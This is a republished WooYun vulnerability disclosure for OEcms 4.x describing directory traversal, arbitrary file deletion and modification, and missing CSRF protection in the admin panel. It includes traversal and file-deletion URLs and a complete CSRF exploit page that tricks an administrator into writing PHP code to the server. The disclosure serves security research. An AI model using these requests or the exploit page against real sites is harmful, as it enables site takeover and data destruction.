代码审计系列9: OEcms 远程代码执行(CSRF)

admin 2015年4月19日01:43:39评论565 views字数 2056阅读6分51秒阅读模式
摘要

2014-07-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-10-01: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(7) 关注此漏洞

缺陷编号: WooYun-2014-67089

漏洞标题: 代码审计系列9: OEcms 远程代码执行(CSRF) 代码审计系列9: OEcms 远程代码执行(CSRF)

相关厂商: OECMS

漏洞作者: LaiX

提交时间: 2014-07-03 11:22

公开时间: 2014-10-01 11:24

漏洞类型: 命令执行

危害等级: 中

自评Rank: 10

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 错误信息未屏蔽 php源码审核 任意文件写入利用 php 后台权限提升 模板文件操作参数未过滤 敏感文件操作参数未加过滤

1人收藏

漏洞详情

披露状态:

2014-07-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-10-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

OECMS Ver 4.X(企业网站系统)是由奥壹技术(OEdev)基于自主研发的OEPHP架构体系开发的一套企业建站系统。OEcms采用MVC开发模式,轻巧、灵活、易用、易于二次开发。OEcms新版支持7种模型:文章模型、产品模型、图库模型、下载模型、招聘模型、单页模型和外部模型,支持自定义字段、支持自定义模板文件、支持自定义模型SEO等;用户可在后台添加、修改、删除模型,随心所遇建立属于自己的企业网站。

详细说明:

问题1.

后台-界面模板-模板管理-模板文件 处存在 任意目录遍历、任意文件删除、任意文件修改、绝对路径泄露等漏洞。

问题2.

整个后台都没有对CSRF进行任何防护措施。可以导致攻击者劫持操纵作后台,添加管理账户等危险操作。

漏洞证明:

例:目录遍历

code 区域
http://localhost/admincp.php?c=templet&dir=/../../../

 

代码审计系列9: OEcms 远程代码执行(CSRF)

例:任意文件修改

代码审计系列9: OEcms 远程代码执行(CSRF)

例:任意文件删除

code 区域
http://localhost/admincp.php?c=templet&a=delfile&id=%5C%5C..%5C%5C..%5C%5C..%5C%5C%2Findex.php

远程删掉index.php文件

例:绝对路径泄露

代码审计系列9: OEcms 远程代码执行(CSRF)

再证明一个最危险的例子。

通过 问题1+问题2 可以实现对该CMS进行CSRF执行远程代码的攻击,从而GETSHELL。

exp:

code 区域
<html>
    <meta charset = "utf-8">
    <title>正在跳转...</title>
 </html>
 <h1>正在跳转...</h1>
 <body>
 
     <iframe id="_iframe" src="about:blank" style='display:none'></iframe>
 
 </body>
 
 <script>
 
 function CSRF()
 
 {
     var topWin = window.top.document.getElementById("_iframe").contentWindow;
     topWin.document.write(
 
                      "<form id='_form' action='http://localhost/admincp.php?c=templet&a=saveedit' method='post'>"
 
                       +"<input type='hidden' name='id' value='/../../..//source/plugin/index.php'>"
 
                       +"<input type='hidden' name='dir' value='/../../..//source/plugin'>"
 
                       +"<input type='hidden' name='content' value='<?php phpinfo(); ?>'>" 
 
                       +"</form>"
 
                       +"<script>document.getElementById('_form').submit();<//script>"
 
                   );
 
 }
 CSRF();
 window.setTimeout("window.location.href='http://**.**.**.**/'", 5000); //延迟5秒后跳转到指定网页
 </script>
 </html>

首先构造一个EXP。将构造好的EXP地址留言到目标的CMS

当管理员打开我精心构造的网址之后:

这个文件被修改成:

代码审计系列9: OEcms 远程代码执行(CSRF)

我们再来访问

代码审计系列9: OEcms 远程代码执行(CSRF)

 

修复方案:

版权声明:转载请注明来源 LaiX@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


 

漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

 

登陆后才能进行评分


评价

  1. 2014-07-03 19:52 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    0

    代码审计难吗?php需要什么水平才能审计?

  2. 2014-10-01 12:22 | ki11y0u ( 普通白帽子 | Rank:140 漏洞数:28 | 好好学习,求带飞 ~~~~~~~~~~~~~~~~~~~~~~...)

    0

    我是来看这个系列的

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2015年4月19日01:43:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计系列9: OEcms 远程代码执行(CSRF)https://cn-sec.com/archives/16505.html

发表评论

匿名网友 填写信息